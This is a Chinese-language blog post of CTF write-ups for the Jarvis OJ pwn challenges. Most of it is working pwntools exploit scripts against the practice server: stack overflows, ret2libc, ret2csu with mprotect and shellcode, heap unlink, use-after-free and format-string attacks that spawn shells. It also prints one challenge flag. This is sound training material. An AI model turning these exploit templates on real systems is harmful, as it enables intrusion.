Jarvis OJ PWN题解 持续更新~

最近沉(被)迷(迫)学pwn    看我们的志琦大佬 我就知道  pwn 玩玩就行    但是    

不认真学 不行 然后向大佬打听了几个pwn的平台网站 打算 玩一下   这里找到了 Jarvis OJ 

然后我 是看那个 做出来的人多 我就做那个·~~~~~~~  不定期的更新

Tell Me Something

然后这个这道题 其实很简单 

栈溢出 没有任何防护

Jarvis OJ PWN题解 持续更新~_第1张图片

就防护了 一个 dep  

直接 栈溢出就行

from pwn import*

io=remote("pwn.jarvisoj.com","9876")

goodgame_addr=0x400620

io.recv()

payload='a'*8*17+p64(goodgame_addr)

io.sendline(payload)
io.recv()

print io.recv()

不得不说 我这次是真滴自闭了  

原因就是搞pwn  pwn是真滴难搞   但是 不搞不行。。。

然后 这道题我看别人的 博客看了 半天才看懂。。。。

堆溢出 其实我有做过  double free  确实有点懂了 就是 劫持 user的空间  然后替换 system  然后就可以了

https://bbs.pediy.com/thread-218395.htm

https://blog.csdn.net/snowleopard_bin/article/details/82834498

这里是参考链接

其实这个题我一开始是准备自己做的 

然后 很傻逼的就是 一开始 忘记了  堆块合并 然后 修改函数 一直报错  说接收不到 信息 我还以为是 sendlineafter  有问题 

结果我又改了改  结果还是不对 

然后还有坑 就是  他这个 大小多少  然后必须读满  我靠 这个坑 真的。。。。。  是自己傻逼 没有注意 细节

然后  就是  realloc  这个函数很有趣   后面如果地方够大  直接就跟着后面的地方 一起用了 

这个函数 提供了方便 

其它没有什么可注意的了  这个代码 是根据上面 那个博客上写的  侵权删

不过比较奇怪的是 为啥最后不是 /bin/sh

Jarvis OJ PWN题解 持续更新~_第2张图片

#coding:utf-8
from pwn import*
io=remote('pwn.jarvisoj.com','9879')
libc = ELF('./libc.so.6')
bin=ELF("pwn")
p_addr=0x00000000006020A8
def add(size,post):
	io.sendlineafter("Your choice: ","2")
	io.sendlineafter("Length of new post: ",str(size))
	io.sendlineafter("Enter your post: ",post)
    
def edit(index,size,post):
	io.sendline("3")
	io.recvuntil('number')
	io.sendline(str(index))
	io.sendlineafter("Length of post: ",str(size))
	io.sendlineafter("Enter your post: ",post)

def dele(index):
	io.sendlineafter("Your choice: ","4")
	io.sendlineafter("Post number: ",str(index))

if __name__=='__main__'	:
	log.info('go to pwn....')
	add(0x80,'a'*0x80)
	add(0x80,'a'*0x80)
	add(0x80,'a'*0x80)
	add(0x80,'a'*0x80)
	add(0x80,'a'*0x80)
	dele(3)
	dele(1)

	#先覆盖掉 1的结构 申请0x90的空间 直接占用了 一开始 1的空间
	#懂堆的同学都知道下面是 指向下一个 空余堆区的地址 也就是
	payload='a'*0x80+'p'*0x10
	edit(0,0x90,payload)
	#泄露地址 
	io.sendline("1")
	io.recvuntil(0x10*'p')
	leak_data = io.recvuntil('\x0a')[:-1]
	io.recv()
	leak_addr = u64(leak_data + '\x00'*(8-len(leak_data)))
	heapbase=leak_addr - 0x19d0
	chunk0_addr = heapbase+0x30
	payload = p64(0x90) + p64(0x80) + p64(chunk0_addr-0x18) + p64(chunk0_addr-0x10) + 'a'*(0x80-8*4)
	payload+=p64(0x80) + p64(0x90+0x90) + '1'*0x70
	edit(0,len(payload),payload)
	dele(1)
	payload = p64(3) + p64(1) + p64(0x100) + p64(chunk0_addr-0x18)
	payload += p64(1)+p64(0x8)+p64(bin.got['atoi'])
	payload += '\x00'*(0x100-len(payload))
	edit(0,len(payload),payload)
	io.sendline('1')
	io.recvuntil('0. ')
	io.recvuntil('1. ')
	atoi = io.recvuntil('\x0a')[:-1]
	io.recv()
	atoi = u64(atoi + '\x00'*(8-len(atoi)))
	system = atoi - libc.symbols['atoi']+libc.symbols['system']
	edit(1,8,p64(system))
	io.sendline("$0")
	io.interactive()

    
    
    






Smashes

这个题目咋一看 很简单 就是简单的栈溢出,,

Jarvis OJ PWN题解 持续更新~_第3张图片

 

但是 我发现并不用有rop  有flag的 字段  但是需要找到其他的映射的地方

因为

Jarvis OJ PWN题解 持续更新~_第4张图片

这里会被覆盖掉,,

我们覆盖 angr[0]  这个参数 也就是我们运行程序的路径 当canary 出现了被破坏  他们会有字符串把这个报错信息给打印出来

那么 我们直接利用这个写出脚本 get flag

import sys
from pwn import *
context.log_level='debug'
#context.arch='amd64'



if __name__ =="__main__":
	#io=process("./smashes")
	io=remote("pwn.jarvisoj.com",9877)
	payload='a'*0x218+p64(0x400d20)
	io.recvuntil("What's your name? ")
	io.sendline(payload)
	io.recvuntil("Please overwrite the flag:")
	io.sendline("pipixia")
	#io.recvline()
	print io.recv()
	io.interactive()

Backdoor 

这道题 只要是知道  0x7FFA4512 这个地址指令是 jmp esp  基本就能分析懂了

Jarvis OJ PWN题解 持续更新~_第5张图片

后门函数shellcode 也没有什么东西 里面就有一个int 3

知道这些就很简单了

然后这里有一个很明显的栈溢出

Jarvis OJ PWN题解 持续更新~_第6张图片

 

直接 让返回值是  0x7FFA4512

然后顺利跳到  shellcode

Jarvis OJ PWN题解 持续更新~_第7张图片

输入值 就是 

栈溢出的长度 ^ 0x6443u 然后 逆推出来的字符串就是 gd

sha一下就ok

Guess

 这个题目 就比较离谱了。。。

前面很多东西 没啥东西,,就是开启了一个fork了一个子进程 然后打开了通信,,

然后后面 就发现程序

Jarvis OJ PWN题解 持续更新~_第8张图片

点开逻辑看一下

Jarvis OJ PWN题解 持续更新~_第9张图片

其实就论如果对比这个程序的话,,, 没啥用啊   这是个pwn手都知道  用 负数 然后 让他们相等,,

然后呢,,, 获得正确的姿势没有用啊 。。。 拿不到flag 看了一下 九层台巨巨的题解,,  原来是爆破

https://blog.csdn.net/qq_38204481/article/details/80872005 

巨巨的题解  这里我直接沾上巨巨的题解就ok了

from pwn import *
import string

context.log_level = 'debug'

payload=""
for i in range(50):
    payload+="0"+chr(0x40+128+i)

flag=list(payload)
YES='Yaaaay!'
Flag=''
#Io=process("./guess")
#pwn.jarvisoj.com 9878
Io=remote("pwn.jarvisoj.com",9878)
#Flag=PCTF{49d4310a1085875567932651e559e153cfc8bd27b431}
Io.recvuntil("guess>")
for i in range(45,50):
    for j in string.printable:
        flag[2*i]=j.encode('hex')[0]
        flag[2*i+1]=j.encode('hex')[1]
        Io.sendline("".join(flag))
        print flag
        Re=Io.recvline()
        print Re
        print Flag
        if (YES in Re)==1:
            Flag+=j
            break


print List2str(flag)

 

柿子要挑软的捏 我看了一下 这个题过的人很多 我就先看这个题了

Test Your Memory

简单的栈溢出题目。。。 把返回值设置成main 的addr 是一个比较好的习惯,。

from pwn import *
import string

context.log_level = 'debug'
io=remote("pwn2.jarvisoj.com",9876)
#io=process("./memory")
if __name__ =="__main__":
	cat_flag_addr=0x80487e0
	system_addr=0x080485BD
	io.recvuntil(">")
	payload='a'*0x17+p32(system_addr)+p32(0x08048677)+p32(cat_flag_addr)
	io.sendline(payload)
	
	#print io.recv()
	#print io.recv()
	io.interactive()


 

 [XMAN]level0

这个 唯一要注意的就是。。。。。。。64位程序

#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9881)
elf=ELF("pwn")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
fun = elf.symbols["callsystem"]
if __name__=='__main__'	:
	payload=0x80*'a'+0x8*'a'+p64(fun)
	io.sendline(payload)
	io.interactive()
	io.close()
	


 

 [XMAN]level1  

其实这个题 一开始 我感觉挺懵   

Jarvis OJ PWN题解 持续更新~_第10张图片

这个  emmm 这个  

等一下 栈可以直接执行shellcode

那么我们 直接写入 shellcode 就行了

Jarvis OJ PWN题解 持续更新~_第11张图片

 这里 已经帮助我们 泄露除了   要读入的 首地址  那么 我们可以把shellcode 写入这个地方  然后

我们知道了  buf 距离栈底有0x88的 字节  写出exp 即可

#coding:utf-8
from pwn import*
io = remote('pwn2.jarvisoj.com', 9877)
shellcode = asm(shellcraft.sh())
if __name__=='__main__'	:
	io.recvuntil("What's this:")
	text=io.recv()[2:-2]
	print text
	addr=int(text,16)
	payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(addr)
	io.send(payload)
	io.interactive()
	io.close()

 [XMAN]level2  那个题 也算是 入门题 把  简单的溢出  只需要 构造溢出点 就可以了

但是 要注意的是 尽量用ELF 获取内容 我一开始用的ida 里面的地址 根本没有看 地址 那个表的 结果  就没有 pwn出来

其它这个题  也没有什么好注意的了

#coding:utf-8
from pwn import*
io = remote('pwn2.jarvisoj.com', 9878)
elf = ELF("pwn")
if __name__=='__main__'	:
	io.recv()
	sys_addr = elf.symbols["system"]
	addr=p32(sys_addr)
	#bin_addr = elf.search("/bin/sh").next()
	payload = 'a' * 0x88+'a'*0x4 +addr+'a'*4+p32(0x0804A024)
	io.send(payload)
	io.interactive()
	io.close()

 [XMAN]level3  这个题  也是出来 bug 。。。。

原因是 我在so 搜索的  /bin/sh    忘记加上了so库的基地址 导致 出了错误。。。。。  这是一个巨大的失误

现在搞定了   这个题 其实没有什么好说的 就是利用write  泄露出 write 的地址 然后求出 我们的  的基地址 然后  算出 sysytem 的地址   然后就可以了

#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9879)
elf=ELF("pwn")
libc=ELF("libc-2.19.so")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
fun = elf.symbols["vulnerable_function"]
if __name__=='__main__'	:
	io.recv()
	payload=0x88*'a'+0x4*'a'+p32(plt_write)+p32(fun)+p32(1)+p32(got_write)+p32(4)
	io.sendline(payload)
	addr=u32(io.recv(4))
	print "write_addr="+hex(addr)
	sys_addr=addr-libc.symbols["write"]+libc.symbols["system"]
	print "sys_addr="+hex(sys_addr)
	str_bin=libc.search("/bin/sh").next()
	str_bin=addr-libc.symbols["write"]+str_bin
	print "str_bin="+hex(sys_addr)
	print io.recv()
	payload=0x88*'a'+0x4*'a'+p32(sys_addr)+p32(1)+p32(str_bin)
	io.sendline(payload)
	io.interactive()
	io.close()

 [XMAN]level4  这个题 很玄学 。。。  不知道为什么 我的sendline('/bin/sh\x00') 不行 而send('/bin/sh\x00') 就可以

其实这个 泄露 system 的题 我也做过DynELF 其实和在网站上直接找 system的地址 其实差不多 下面直接给出exp

#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9880)
elf=ELF("pwn")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
fun = elf.symbols["vulnerable_function"]
bss_addr=0x0804A024
def leak(addr):
	payload=0x88*'a'+0x4*'a'+p32(plt_write)+p32(fun)+p32(1)+p32(addr)+p32(4)
	io.sendline(payload)
	getaddr=(io.recv(4))
	return getaddr


if __name__=='__main__'	:
	d = DynELF(leak, elf = elf)
	sys_addr=d.lookup('system','libc')
	print hex(sys_addr)

	plt_read=elf.symbols["read"]
	payload=0x88*'a'+0x4*'a'+p32(plt_read)+p32(fun)+p32(0)+p32(bss_addr)+p32(8)
	io.sendline(payload)
	io.send('/bin/sh\x00')
	payload=0x88*'a'+0x4*'a'+p32(sys_addr)+p32(1)+p32(bss_addr)
	io.sendline(payload)
	io.interactive()
	io.close()



 [XMAN]level2 x64 

这个题 也就是64位的  其它没有什么可以注意的点   注意一点就是  64位传参是  rdi, rsi, rdx, rcx, r8, r9

我们只需要 找到 pop rdi     我们的值就给了 rdi  然后ret  我们下面给的值 完成 了pwn

 ROPgadget --binary pwn1 --only 'pop|ret'|grep 'rdi'

 

#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9882)
elf=ELF("pwn1")
#plt_write=elf.plt["write"]
#got_write=elf.got["write"]
fun = elf.symbols["system"]
pop_rdi=0x4006b3
bin_str=elf.search("/bin/sh").next()
if __name__=='__main__'	:
	payload=0x80*'a'+0x8*'a'+p64(pop_rdi)+p64(bin_str)+p64(fun)
	print hex(fun)
	io.sendline(payload)
	io.interactive()
	io.close()

这个题   和 x86 其实差不多 我们只需要 把这个  传参的事情搞定就可以了  但是 怎么说呢   先找 pop

ROPgadget --binary pwn --only 'pop|ret'

Jarvis OJ PWN题解 持续更新~_第12张图片

然后可惜的就是。。。。。 没有找到 我们想要的 pop rdx  也就是第三个参数   。。 读出的数据的长度 不确定 。。。

没有办法 只能写着看看  然后 幸好的是读出来了   

#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9883)
elf=ELF("pwn")
libc=ELF("libc-2.19.so")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
fun=elf.symbols["vulnerable_function"]
pop_rdi=0x4006b3
pop_rsi=0x4006b1
bin_str=libc.search("/bin/sh").next()
if __name__=='__main__'	:
	payload=0x80*'a'+0x8*'a'
	payload+=p64(pop_rdi)+p64(1)#第一个参数
	payload+=p64(pop_rsi)+p64(got_write)+p64(1)#第二个(没有所以随便)
	payload+=p64(plt_write)+p64(fun)
	io.recv()
	io.sendline(payload)
	addr=u64(io.recv(8))
#因为没有找到第三个参数的地方  第三个参数是长度
	sys_addr=addr-libc.symbols['write']+libc.symbols['system']
	bin_str=addr-libc.symbols['write']+bin_str
	payload=0x80*'a'+0x8*'a'
	payload+=p64(pop_rdi)+p64(bin_str)
	payload+=p64(sys_addr)+p64(1)
	io.sendline(payload)
	io.interactive()
	io.close()

[XMAN]level5

这个题我是真的顶不住     其实mprotect 这个函数 在逆向里面也经常见的  主要是 用到了修改段的权限 smc题型 mmap 看网上说是 内存映射   然后说一下自己的参考链接吧 

https://blog.csdn.net/qq_42192672/article/details/82786259

不知道这个 是不是小姐姐 有点强啊  能算法 还能逆向 还能pwn  太强了 OTZ

mprotect(const void *start, size_t len, int prot)   有三个函数 前两个 很好理解  主要就是 第三个

第三个 就是权限   我见很多 smc的题都是 7    可读可写可执行。。。

然后我们就把这个题 也直接设置成7 就好了   既然这个题 不让用system  那么只能 用shellcode  

那么  思路其实我也想到了  就是写到bss 段  然后让bss 段 的权限设置成7 就好了  

但是我没有想到  泄露出的函数 写到 got表中方便利用 这个我是真的没有想到  还是自己不够骚   wp 明天再写吧 

今天不想搞pwn了  pwn pwn pwn到最后一无所有

参考链接 https://blog.csdn.net/qq_38204481/article/details/80984318

这个大佬写的很好 

其实思路我也是有的   只不过没有想到 

Jarvis OJ PWN题解 持续更新~_第13张图片

竟然那么好用

text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                

          
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

结合起来很完美。。。。

r13 14 15 变成了 第三个参数 第二个参数 第一个参数  然后 r12就变成 call 的地址  真想知道 大佬们 都怎么找出来这个地址的。

#coding:utf-8
from pwn import*
#io=process("pwn")
context(arch='amd64',os='linux')
io=remote('pwn2.jarvisoj.com',9884)
elf=ELF("pwn")
libc=ELF("libc-2.19.so")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
got_read=elf.got["read"]
fun=elf.symbols["vulnerable_function"]
c_addr=0x4006A6
call_addr=0x400690
main_addr=0x40061a
rop1=0x4006aa #pop rdi;re
if __name__=='__main__'	:
	#泄露出 write地址  得到mprotect的地址
	payload='a'*0x88+p64(rop1)+p64(0)
	payload+=p64(1)+p64(got_write)
	payload+=p64(8)+p64(got_write)+p64(1)
	payload+=p64(call_addr)+'A'*56+p64(main_addr)
	io.recvuntil("Input:\n")
	io.sendline(payload)
	write_addr=u64(io.recv(8))

	lib_baseaddr=write_addr-libc.symbols["write"]
	mprotect_addr=lib_baseaddr+libc.symbols["mprotect"]
    #写 shell 到 bss 开始的地方
	shellcode = p64(mprotect_addr)+asm(shellcraft.sh())
	bss_start = elf.bss()
	io.recvuntil("Input:\n")
	payload = 'a'*0x88+p64(rop1)+p64(0)
	payload += p64(1)+p64(got_read)
	payload +=p64(len(shellcode)+1)+p64(bss_start)+p64(0)
	payload+=p64(call_addr)+'A'*56+p64(main_addr)
	io.sendline(payload)
	io.sendline(shellcode)
    #将 bss_start 写入got_bss
    # 可以开始写利用函数了
    # c_addr 0x4006a6
    #add rsp,8 
	#pop rbx
	#pop rbp
	#pop r12
	#pop r13
	#pop r14
	#pop r15
	#retn
	#call_addr 0x400690
    #mov rdx,r13  the 3rd parm
	#mov rsi,r14  the 2nd parm  
	#mov edi,r15  the 1st parm
	#call [r12] 
	#add rbx,1
	#cmp rbx,rbp
	#jnz short loc_400690
	payload ='a'*0x88+p64(rop1)+p64(0)
	payload +=p64(1)+p64(bss_start)
	payload +=p64(7)+p64(0x1000)+p64(0x600000)#改变 地址属性
	payload +=p64(call_addr)+'a'*56+p64(bss_start+8)#返回值直接为shellcode
	io.recvuntil("Input:\n")
	io.sendline(payload)
	io.interactive()
	io.close()

[XMAN]level6 这个题目和 上面的 guestbook2 差不多

就是一个  unlink 的题目 只不过这个是32位的 那个是64位的  然后直接用套模板就可以了

exp脚本

#coding:utf-8

from pwn import*
io=remote("pwn2.jarvisoj.com",9885)
#io=process("./freenote_x86")
context.log_level='debug'
elf=ELF('./freenote_x86')

#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc=ELF("./libc-2.19.so")
def add(size,content):
	io.recvuntil("Your choice: ")
	io.sendline("2")
	io.recvuntil("Length of new note: ")
	io.sendline(str(size))
	io.recvuntil("Enter your note: ")
	io.sendline(content)

def edit(index,size,content):
	io.recvuntil("Your choice: ")
	io.sendline("3")
	io.recvuntil("Note number: ")
	io.sendline(str(index))
	io.recvuntil("Length of note: ")
	io.sendline(str(size))
	io.recvuntil("Enter your note: ")
	io.send(content)

def dele(index):
	io.recvuntil("Your choice: ")
	io.sendline("4")
	io.recvuntil("Note number: ")
	io.sendline(str(index))


if __name__ =="__main__":
	add(0x80,'a'*0x80)#0
	add(0x80,'b'*0x80)#1
	add(0x80,'c'*0x80)#2
	add(0x80,'d'*0x80)#3
	add(0x80,'e'*0x80)#4
	dele(3)
	dele(1)
	#dele(6)
	#gdb.attach(io)
	edit(0,0x88,'a'*0x80+'g'*0x8)
	io.recvuntil("Your choice: ")
	io.sendline("1")
	io.recvuntil("g"*0x8)
	heap_addr=u32(io.recv(4))-0xDB0
	log.success("heap_addr "+hex(heap_addr))
	leak_addr=u32(io.recv(4))
	#log.success("leak_addr "+hex(leak_addr))
	libc_addr=leak_addr-0x1ad450
	log.success("libc_addr "+hex(libc_addr))
	#pause()
	#gdb.attach(io)
	#pause()
	#io.recv()
	#dele(0)
	#dele(2)
	#dele(4)
	chunk0_addr=heap_addr+0x18
	payload=p32(0x90)+p32(0x80)+p32(chunk0_addr-12)+p32(chunk0_addr-8)
	payload=payload.ljust(0x80,'A')
	payload+=p32(0x80)+p32(0x88+0x88)
	payload=payload.ljust(256,"A")

	edit(0,len(payload),payload)
	#gdb.attach(io)
	#pause()
	dele(1)
	#gdb.attach(io)
	#pause()
	free_addr=libc_addr+libc.symbols['free']
	system_addr=libc_addr+libc.symbols['system']
	payload=p32(2)+p32(1)+p32(0x100)+p32(chunk0_addr-12)
	payload+=p32(1)+p32(4)+p32(elf.got['free'])
	payload+=p32(1)+p32(len("/bin/sh\x00")+1)+p32(heap_addr+0xd30)
	payload+='\x00'*(0x100-len(payload))
	edit(0,len(payload),payload)
	#edit(5,len("/bin/sh;"),"/bin/sh;")
	'''io.recvuntil("Your choice: ")
	io.sendline("1")
	io.recvuntil("1. ")
	free_addr=u32(io.recv(4))
	log.success("free_addr "+hex(free_addr))
	libc_addr=free_addr-libc.symbols['free']
	log.success("libc_addr "+hex(libc_addr))'''
	edit(1,4,p32(libc_addr+libc.symbols['system']))
	edit(2,len("/bin/sh;")+1,"/bin/sh;")
	io.sendline("\n")
	dele(2)
	#edit(0,len(payload),payload)
	#log.success("free_addr "+hex(free_addr))
	io.interactive()

[XMAN]level6 x64 这个就不做了,。。真的和上面的一模一样= =

然后下面就是

Item Board  这个题目 因为有UAF 并且还有自己的free指针,,

那么用UAF 然后修改free指针 然后拿到flag==  exp:

import sys
from pwn import*
context.log_level='debug'
context.arch='amd64'
io=remote("pwn2.jarvisoj.com",9887)
#io=process("./itemboard")
elf=ELF("./itemboard")
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc=ELF("./libc-2.19.so")
def add(name,lens,content):
	io.recvuntil('choose:\n')
	io.sendline('1')
	io.recvuntil('Item name?\n')
	io.sendline(name)
	io.recvuntil("Description's len?\n")
	io.sendline(str(lens))
	io.recvuntil('Description?\n')
	io.sendline(content)

def List():
	io.recvuntil('choose:\n')
	io.sendline('2')


def show(index):
	io.recvuntil('choose:\n')
	io.sendline('3')
	io.recvuntil('Which item?\n')
	io.sendline(str(index))

def dele(index):
	io.recvuntil('choose:\n')
	io.sendline('4')
	io.recvuntil('Which item?\n')
	io.sendline(str(index))


if __name__ =="__main__":
	add("pipixia",0x80,'a'*4)
	add("keer",0x80,'b'*4)
	dele(0)
	show(0)
	io.recvuntil('Description:')
	leak_addr=u64(io.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
	log.success("leak_addr "+hex(leak_addr))
	libc_addr=leak_addr-0x3c27b8#0x3c4b78
	log.success("libc_addr "+hex(libc_addr))

	system_addr=libc_addr+libc.sym['system']
	add('kepler',0x20,'c'*4)
	add('wpsec',0x20,'d'*4)
	dele(2)
	dele(3)
	add('gameover',0x18,'/bin/sh;'+'e'*8+p64(system_addr))
	dele(2)
	#gdb.attach(io)
	#pause()

	io.interactive()

 

fm  这个题 就是简单的格式化字符串。。。。

import sys
from pwn import*
context.log_level='debug'
context.arch='amd64'
#io=process("./fm")
io=remote("pwn2.jarvisoj.com",9895)
#io=process("./itemboard")
elf=ELF("./fm")

if __name__ =="__main__":

	x_addr=0x0804A02C
	payload=p32(x_addr)+"%11$n"
	io.sendline(payload)
	io.interactive()

add

程序运行发现是个简单的calc 。。

Jarvis OJ PWN题解 持续更新~_第14张图片

Jarvis OJ PWN题解 持续更新~_第15张图片 

用了  ret 和jeb 才勉强读懂,,

Jarvis OJ PWN题解 持续更新~_第16张图片

Jarvis OJ PWN题解 持续更新~_第17张图片 

有判断  需要srand(0x12345678)  然后 rand。。。。

需要绕过这个。 拿到栈地址 然后方便跳到我们的shellcode。。

 

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import CDLL
import sys

context.log_level = "debug"

io = remote("pwn2.jarvisoj.com", 9889)

if __name__ == "__main__":

    io.sendlineafter("help.\n", str(2057561479))
    io.recvuntil("Your input was ")
    stack = int(io.recvline().strip(), 16)

    #  http://shell-storm.org/shellcode/files/shellcode-80.php
    shellcode = "\xff\xff\x10\x04\xab\x0f\x02\x24"
    shellcode += "\x55\xf0\x46\x20\x66\x06\xff\x23"
    shellcode += "\xc2\xf9\xec\x23\x66\x06\xbd\x23"
    shellcode += "\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
    shellcode += "\x9a\xf9\xbd\x23\x21\x20\x80\x01"
    shellcode += "\x21\x28\xa0\x03\xcc\xcd\x44\x03"
    shellcode += "/bin/sh\0"

    payload = 'a'*8 + shellcode.ljust(0x70 - 8, '0') + p32(stack + 8)
    io.sendline(payload)

    io.sendline("exit")

    io.interactive()

根据看下面链接的代码,, ,

https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_add/solve.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import CDLL
import sys
context.binary = "./add"
context.log_level = "debug"

if sys.argv[1] == "l":
    io = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./add"])
elif sys.argv[1] == "d":
    io = process(["qemu-mipsel", "-g", "1234", "-L", "/usr/mipsel-linux-gnu", "./add"])
else:
    io = remote("pwn2.jarvisoj.com", 9889)

if __name__ == "__main__":
    dll = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
    dll.srand(0x123456)
    key = dll.rand()

    io.sendlineafter("help.\n", str(key))
    io.recvuntil("Your input was ")
    stack = int(io.recvline().strip(), 16)
    success("stack -> {:#x}".format(stack))

    #  http://shell-storm.org/shellcode/files/shellcode-80.php
    shellcode = "\xff\xff\x10\x04\xab\x0f\x02\x24"
    shellcode += "\x55\xf0\x46\x20\x66\x06\xff\x23"
    shellcode += "\xc2\xf9\xec\x23\x66\x06\xbd\x23"
    shellcode += "\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
    shellcode += "\x9a\xf9\xbd\x23\x21\x20\x80\x01"
    shellcode += "\x21\x28\xa0\x03\xcc\xcd\x44\x03"
    shellcode += "/bin/sh\0"

    payload = '00000000' + shellcode.ljust(0x70 - 8, '0') + p32(stack + 8)
    io.sendline(payload)

    io.sendline("exit")

    io.interactive()

 

 

 

你可能感兴趣的:(栈溢出,堆溢出)